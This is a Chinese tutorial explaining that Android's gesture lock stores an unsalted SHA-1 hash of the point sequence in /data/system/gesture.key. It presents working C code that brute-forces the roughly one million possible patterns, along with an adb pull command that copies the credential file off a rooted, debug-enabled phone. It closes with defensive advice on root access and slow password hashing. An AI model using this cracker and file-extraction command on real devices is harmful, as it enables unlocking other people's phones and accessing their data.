★ 引子
之前在Freebuf上看到一片文章讲Andriod的手势密码加密原理，觉得比较有意思，所以就写了一个小程序试试。
★ 原理
Android的手势密码加密原理很简单：
先给屏幕上的每一个点编号（一般是 3 X 3）：
00，01，02
03，04，05
06，07，08
注意这里的数字都是十六进制。
假设我沿着左边和下边画了一个 L 字，则手势的点排列顺序 sequence 是 00，03，06，07，08。
然后计算密文 C = SHA-1(sequence)，然后将结果写入到 /data/system/gesture.key 中。
按照上面的操作，则密文 C 应该是：c8c0b24a15dc8bbfd411427973574695230458f0，160 bit 的 SHA-1 散列值。
不过严格来讲这个过程不叫加密，叫散列，因为SHA-1只是一个数据摘要算法，并不是加密算法。
★ 破解原理
看到了吧，安卓机的手势加密非常简单，而且非常脆弱。为什么说很脆弱，主要是密钥空间太少！简单计算一下：
手势密码最少要连 4 个点，最多可以连 9 个，忽略掉某些特殊的排列，用排列组合公式计算一下，结果是：（注：P(n, m) 表示从 n 个元素中选 m 个出来排列的情况总数）
P(9, 4) + P(9, 5) + ... ... + P(9, 9) = 985824
满打满算，还不到 100 万，密钥空间实在太少了，对于计算机穷举，那是半秒钟的事。
有了上面的原理，那么破解程序的制作也就很简单了：
1. 一个SHA-1 Hash模块。如果你了解密码学中的 Hash 算法，那么可以自己写，当然也可以去 OpenSSL, Crypto++ 之类的库中去找。
2. 一个计算排列组合的模块。这个是关键，所以我花多点口水讲讲。
注：以下的算法均用 C 实现。
考虑到要用到排列组合，那么我就想到了两个已经知道的东西：
1. 计算 P(n ,m)，可以用如下的方式计算：（注：C(n, m) 表示从 n 个元素中选 m 个出来组合的情况总数）
P(n, m) = P(m, m) * C(n, m)
2. 计算 P(m, m) 就是在计算 m 个元素的全排列总数，之前在上算法课的时候有讲到这个算法，那么就可以直接拿过来用。
那么还需要自己构建一个计算组合的算法。
计算全排列 P(m, m)：
假设计算集合 {1，2，3} 的全排列，可以这么做：先取一个元素，比如 1，再从剩下的集合 {2，3} 中取 2，那么还剩下 {3}。按照这种搞法，{1，2，3} 的全排列就是：
1 {2， 3} ----> 1，2 {3} 1，3 {2}
2 {1， 3} ----> 2，1 {3} 2，3 {1}
3 {2， 1} ----> 3，2 {1} 3，1 {2}
到此为止，算法的思路已经明确了：依次将集合中的每一个元素和第一个元素交换，然后递归进行计算。下面给出代码：
typedef unsigned char uint8; #define swap(a, b) \
{ \
uint8 t; \
\
t = a; \
a = b; \
b = t; \
} void permute(uint8 *p, int n, int m)
{
int i; if(n == m)
{
for(i = 0; i <= m; i++)
printf("%02X ", p[i]); printf("\n");
}
else
{
for(i = n; i <= m; i++)
{
swap(p[n], p[i]);
permute(p, n + 1, m);
swap(p[n], p[i]);
}
}
}
注：n，m 都是从下标为 0 开始的。
计算组合 C(n, m)：
一开始我想了好久都没思路，后来仿照全排列的算法，运用递归的方式搞定。看来分治思想还是很重要的。
假设有集合 {1，2，3，4}，要从中选 2 个，列出所有的组合可能，那么可以这么做：
先从集合中取出一个元素，比如取出 1，则剩下 {2，3，4}，然后从剩下的集合 {2，3，4} 中取出一个元素，例如取出 2，这时就得到了一种组合情况 1，2，其他情况同理。
{1，2，3，4} ----> 1 {2，3，4} ------> {1，2} {1，3} {1，4}
{2，3，4} --------> 2 {3，4} ---------> {2，3} {3，4}
{3，4} ------------> 3 {4} --------------> {3，4}
可以看出，每次取一个元素，然后对剩余元素进行组合。这样，组合算法的大概思路就有了：
反向从集合中选出一个元素，放到临时数组 q 中，然后递归调用组合算法，直到 m = 1，即只需要选一个元素为止。
void combine(uint8 *p, uint8 *q, int n, int m, int s) // s 为选出来的序列长度
{
int i, j; for(i = n; i >= m; i--)
{
q[m - 1] = p[i - 1]; if(m > 1)
{
combine(p, q, i - 1, m - 1, s);
}
else
{
for(j = 0; j < s; j++)
printf("%02X ", q[j]); printf("\n");
}
}
}
计算排列 P(n, m)：
有了前面两个算法，计算 P(n, m) 就变得很简单了，直接把全排列的算法嵌入到组合算法中即可。
★ 破解程序
有了上面的铺垫，编写破解程序就很简单了，下面就直接把代码贴出来。
#define swap(a, b) \
{ \
uint8 t; \
\
t = a; \
a = b; \
b = t; \
} static int crack_permute(uint8 *p, int n, int m, int *ct, const uint8 *md)
{
int i;
uint8 cal_md[SHA1_DIGEST_SIZE]; if(n == m)
{
(*ct)++; sha1_hash(p, m, cal_md); if(memcmp(cal_md, md, SHA1_DIGEST_SIZE) == 0)
{
printf("\nThe gesture found!\n\nThe gesture is :"); for(i = 0; i < m; i++)
printf("%02X ", p[i]); printf("\n\nTry %d times!\n", (*ct)); return 1;
}
}
else
{
for(i = n; i <= m; i++)
{
swap(p[n], p[i]); if(crack_permute(p, n + 1, m, ct, md))
return 1; swap(p[n], p[i]);
}
} return 0;
} static int crack_combine(uint8 *p, uint8 *q, int n, int m, int s, int *ct, const uint8 *md)
{
int i, j;
uint8 r[NUM]; for(i = n; i >= m; i--)
{
q[m - 1] = p[i - 1]; if(m > 1)
{
if(crack_combine(p, q, i - 1, m - 1, s, ct, md))
return 1;
}
else
{
for(j = 0; j < s; j++)
r[j] = q[j]; if(crack_permute(r, 0, s - 1, ct, md))
return 1;
}
} return 0;
} void crack_main(const uint8 *md)
{
int ct, ret;
int m, n;
uint8 q[NUM];
uint8 p[NUM] = {0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08}; ct = 0;
n = NUM; for(m = 4; m <= n; m++)
{
if((ret = crack_combine(p, q, n, m, m, &ct, md)) == 1)
break;
} if(ret == 0)
printf("\nGesture not found!\n");
}
注：ct 是统计尝试的次数，md 是从文件中读到的散列值，NUM 是宏定义：#define NUM 9 。
程序中的SHA-1是我自己写的，函数原型是：void sha1_hash(const uint8 *input, const size_t len, uint8 *digest);
只要 crack_combine 搜索到手势序列，返回 1，搜索结束。
上面的 crack_permute 和 crack_combine 两个函数都是根据前面两个算法改的。程序中，crack_permute 函数被 crack_combine 函数调用，用于计算每一种组合的全排列。在 crack_permute 函数中，调用 SHA-1 摘要算法计算每个手势序列的散列值，然后与传入的 md 进行比较，一旦比较成功则立即返回。
为了避免篇幅太长，上面只列出了部分主要代码，想要全部的话点【这里】。程序的话我没有写文件读取的模块，需要的话可以自己加上去。
★ 总结
安卓手势密码的破解，需要拿到 gesture.key 文件（命令：adb pull /data/system/gesture.key gesture.key），要防范此类攻击，要么手机不要 root，要么 root 了之后不要打开 USB Debug 模式，不过可惜的是很多人对操作系统的权限没有什么概念，总是在最高权限下运行，这样被黑的机率就会高很多 :(
安卓的手势密码之所以能被快速破解，密钥空间小是最主要的原因，所以推广一下，在其他场合下，密码尽量还是设长一点比较保险。如果在编写程序中涉及到密码验证环节，最好使用超慢算法，比如 PBKDF2 或者 bcrypt，这样可以降低暴力破解的速度。
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